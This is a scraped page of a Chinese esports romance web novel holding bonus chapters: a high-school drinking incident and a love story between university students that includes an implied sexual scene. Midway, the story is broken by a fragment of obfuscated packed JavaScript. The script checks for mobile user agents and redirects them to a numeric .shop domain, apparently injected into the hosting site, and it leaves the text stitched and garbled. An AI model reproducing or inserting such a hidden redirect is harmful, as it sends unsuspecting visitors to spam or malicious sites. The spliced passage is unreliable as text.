(没错!凌一鸣进战队的原因最简单,仅仅只是为了魏晟。当然加入CY让他有了更多朋友,但魏晟是第一个也是最特别的一个。) [5] 秦珠从小乐观积极,这种性子太容易和男生打成一片,是高中刚开学那会儿,逢上班里一号有钱人生日,邀着全班去吃饭。 虽是新同学,秦珠却很快混熟,被寿星邀着喝了一杯酒,涩口的滋味在喉间润开,秦珠也想就此逃离,却不料几个男生追捧着又递来一杯。 那一刻,束着高马尾的宣依正巧想离开这餐混乱的宴席,目光扫向主桌时只看见秦珠在两个男生的共邀里又闷了一杯,啤酒度数不高,两三杯下喉秦珠意识清晰地目睹了宣依夺过再次递到面前的酒瓶。 “看不出来别人不想喝了?” 秦珠看着她将酒瓶锤在了桌上,震得桌面一晃。 “那你想喝?”有个男生兴致幡然,开口问道。 宣依微微转身,垂眸看向身后因为酒精不适而蹙着眉头的秦珠:“就这一箱酒是吧?我喝了,就没必要惹其他人了。” “好啊,”领头的男生会心一笑,“喝不完就答应哥一个条件呗。” 少年的一腔孤勇没有任何缘由,宁愿自己不适也捏着瓶身将酒一口一口往下闷。 酒精的浮躁带着一幕幕儿时的画面扫荡在脑海里,不知闷到第几瓶时,恍惚的意识已经忘记了喝酒的原因,只是眼眶泛上红,手上的动作顿了下来。 迷离的眼神下是被酒精染红的脸颊,宣依靠着桌子一点点下滑,蹲在了地上。 脆弱的模样惹人心疼,秦珠扶着她:“同学,剩下几瓶我来喝吧。” 男生也跟着附和:“还有三瓶,喝不下也不用勉强,答应做哥女朋友也不错。” 宣依意识恍惚,说的话却依旧带着刺:“你…配吗?” 十六七岁的男生哪遭得住这样的嘲讽,一手扯住了宣依的衣领将她从地面带起:“你说什么?” 秦珠连忙打开了他的手:“不就是喝酒嘛?我喝。” 结果秦珠刚弯腰捡起一瓶酒,就被宣依夺过又一次往喉里闷,这次的动作比之前都要猛,速度也显而易见,带着被啤酒灌醉的大脑,语气坚厉:“我说你,不配。” 那个醉醺醺的夜晚,秦珠扶着宣依打了一辆车。 在她模糊的声音里,秦珠实在分辨不出内容,只能靠着班里那些流言蜚语告诉司机目的地:“湖悦山墅。” 车途里,宣依靠在秦珠的身旁嘴里囫囵着什么内容,然后昏暗的夜里,一滴泪滑落。 于是生来便拥有“爱人”天赋的女孩在流言蜚语先袭来的夜里环住了宣依的肩,一遍遍重复着:“没事的,我在,我陪你。” 尽管再多的内容被宣依以“梦”的借口盖过、遗忘,秦珠也依旧陪在她身边,就像那晚宣依毫无顾忌地挡在她身前一样。 87. 这是第三章番外 告别战队后,两人便淡出了电竞圈,只留下齐呈枫依旧保留着日常模样的微博供一群怀旧的粉丝考究:比如齐呈枫停下了跨级时快两年的脚步等宣依,两人都留在了海浔念大学,还一同去看了23年秋季赛的比赛,为CY摇旗呐喊,年久不更新的微博在那天又多了张合照。 海浔迎着春节的到来变得有几分冷清,宣依半靠在沙发里又从相册里翻到了这张照片,画面截停在了这一刻,齐呈枫擦着湿漉漉的头发走到沙发后侧,倾身靠在了宣依肩膀处,水滴顺着发梢打在手机屏幕上:“又在翻我相册。” 齐呈枫的相册记录着各种各样生活中的宣依,或喜或忧,他偷摸记录着,宣依便总喜欢翻他相册,把那些不经意的美照又发给自己。 宣依捏着手机避开了发梢再次掉落的水滴:“吹头。” “知道啦。”齐呈枫起身走到了一边。 宣依放下手机抬眸看向齐呈枫:“王者好像要出一个新模式诶,我俩一起玩呗?” 鼓风声里,齐呈枫听得模糊,只是应着:“嗯好。” 齐呈枫吹得敷衍,不滴水的状态便收了吹风机,坐到了宣依身旁:“那你也考虑一下搬来一起住呗?” 宣依本来是对宿舍间的交流不抱有期待的,所以齐呈枫便在学校周围租了个小平层,带着期待将其装成了眼前这般模样。结果刚开学不久几个人便熟络了起来,寝室里有个外向积极的又恰好是个追竞人,在军训期间就总瞧着宣依,最后在寝室里相认。 有了这么一出,几个人很快便熟络起来,连带着那户小平层只留下了孤零零的齐呈枫一人。 “不要,”宣依起身揣着手机便往门边走,“大no特no。” 齐呈枫无可奈何地跟上。 两人又如同往年的流程先去宣依家过夜,隔天再带着章文华一起去齐家过年,宣依这边没什么要走的亲戚,齐家的走家串户里,宣依就和章文华一起出去聊聊天逛逛街。也就三五天的时间,便走完了最亲近的几户,齐呈枫就也留在了家里。 十四号情人节也悄然而至,王者的新模式——双人共舞正式上线,一人操作方向一人操作技能,新颖的玩法引得各大博主纷纷尝试起来。 午饭过后,两人便窝在了沙发里开了把该模式。 挂着情侣标在这个模式里并不新奇,宣依收着小窗在主页面领取奖励,齐呈枫指尖在屏幕上敲打几下后开始了游戏。 “玩什么英雄?” 宣依翻着灰黑的英雄界面:“玩个有点操作的,貂蝉,马超,露娜…木兰也不错?” “那就都玩一遍呗,那这把先玩貂蝉?”齐呈枫在宣依认同的点头里确认了英雄。 短暂的选英雄环节结束,进入加载页面,宣依习惯性扫一眼对面阵容却优先被各个组合的队伍名惊艳。 “哈哈哈哈哈,‘我说的都队’,太会取名字了。”宣依一个个扫过,后知后觉想起来自己的队伍,看向屏幕中的金色文字。 略显平庸,却也独特,只有简洁的两个字。 宣依的笑声咽回喉间化为嘴角微扬的幅度:“那一人一个人头,死了换操作位。” “嗯,好。” 游戏进入界面,因为模式的变换,峡谷各分路只有一座防御塔和一座高地,大大缩短了一局游戏的时长。 宣依的操作杆带着一颗粉色的爱心指向中路的方向,齐呈枫也很快拉着摇杆执行。 两人对英雄的理解近乎相同,场上平均每人都死三次的情况里,就他俩依旧活得好好的,在一波中路高地的团战里,宣依拉着技能,齐呈枫拉着摇杆,只是因为顺手,技能打出的同时会放出一朵爱心烟花。 宣依看着屏幕里不断蹦出的爱心,不禁发笑:“要不我俩换一下?” 花瓣里摇曳舞姿下敌方三人连连倒下后,残血状态的貂蝉就那样一个二技能闪进了高地里,接下三次塔伤后也跟着倒地。 一声击败播报里,左下角变得热闹起来。 【我说的都队(孙尚香):不带这样嘲讽的吧】 【含笑半步癫(刘禅):你看别人多会打】 【含笑半步癫(刘禅):你自己选的这个英雄】 …… 闲下来的俩人看着字幕流动,齐呈枫便点开了输入框手打输入。 【依枫(貂蝉):女朋友厉害,我就工具人】 宣依看着屏幕里跳出的这句话挑起眉梢侧目看向齐呈枫,笑着吐出一口气也跟着吹捧。 【依枫(貂蝉):还得配你,不然打不出这操作】 两人对视上,齐呈枫挪着位置向宣依靠过来,一只手扣住了宣依后脑勺,嘴唇贴了上去。 还没贴实就被宣依一手推开:“复活了。” 两人紧挨在一起打完了几把比赛,宣依仰着脖子靠在了沙发靠背上,刚巧看见章文华挎上帆布包往外走的姿态。 “妈,你要出去啊?” 齐呈枫也跟着转过脑袋。 “嗯,出去有点事,你俩晚上看出去吃还是热饭。”章文华坐在换鞋凳上提上鞋后跟起身。 本就空荡的客厅愈加沉寂,结束最后一把游戏后宣依退出了游戏界面,翻看着朋友圈的内容。 一股气息缓缓靠近,宣依吐了口气坦然接受着齐呈枫贴近耳畔的动作,一句话在暧昧的极限距离里传入耳:“无聊?” “要不要考虑一下双排?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187855|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 令人口干舌燥的那股气息扑来那瞬,初次体验“双排”的画面涌入脑海。 2021年末,跨年夜。 CY一行人的小聚结束,带着星星零零一丝酒精味的宣依勾上齐呈枫的肩:“不想坐车了。” “嗯?”齐呈枫勾着腰,任由宣依将他往下带。 于是宣依的下一句话,直接贴到了他的耳廓边:“你租的那个房子是不是就在这附近?我们去那儿吧。” 齐呈枫扶住她的肩,看清她此刻清醒的模样才应声:“可以,那你睡主卧,我收拾一下次卧,可能会有点声响……” 宣依没什么异议,跟在齐呈枫身后,途中又进便利店买了一瓶水说是用来醒酒。 进屋打开灯后,宣依便倒进了沙发里,齐呈枫扫了一眼,步伐径直向次卧走去:“主卧干净的,你直接进去睡就行。” 宣依摆了摆脑袋:“不困。” “你别收拾了,我们……双排。” “怎么突然想打游戏了?”齐呈枫疑惑地关了次卧刚打开的灯,从兜里掏出手机走向沙发,“刚才听他们聊比赛,听出手感了?” 一声“timi”里,画面被宣依的手盖过叩回了兜里。 那双清澈的双眸望向齐呈枫的茫然:“我说的不是这个双排。” 看着齐呈枫滚动的喉结,宣依的手勾上他的肩,半起身后,一只腿跪在了沙发垫上,仰着脑袋吻上他的嘴唇。 齐呈枫只是微微皱起了眉头,冲动边缘的一丝理智将他拉扯回来,手掌捏着宣依的肩将她推开:“依依,你喝醉了。” “你不说,你随时奉陪?”宣依眼里欲望未退,等待着齐呈枫的回应。 然后,齐呈枫的手绕过宣依背脊,将她横抱起,胳膊肘下压打开了主卧的门。 烟花绽放的夜空里,两人无限靠近,直到情难自抑,宣依的手在凌乱里从衣服荷包里拿出一小盒东西。 “你刚买的?”齐呈枫声音有些沙哑。 “嗯。” “太小了。” 宣依在齐呈枫吻至耳骨的热潮里,抬手翻动着小盒子:“这有尺寸吗?” 齐呈枫压下她悬在黑暗里的手,迷糊着回答:“没事,我这儿有。” 包装袋撕裂的声音,在一点点光亮里,宣依看着齐呈枫手上的动作,又很快别开视线,手心紧拽着被单,溺出的点点汗液融入其中。 灯光再次打亮眼前景象的那瞬,宣依看见了落在床边缘的那个小盒子。 橙黄色,盒子宽泛些,两个加大的字体印在上面。 …… 宣依抬手推开齐呈枫靠过来的那抹勾人的笑:“行啊,你用什么英雄?”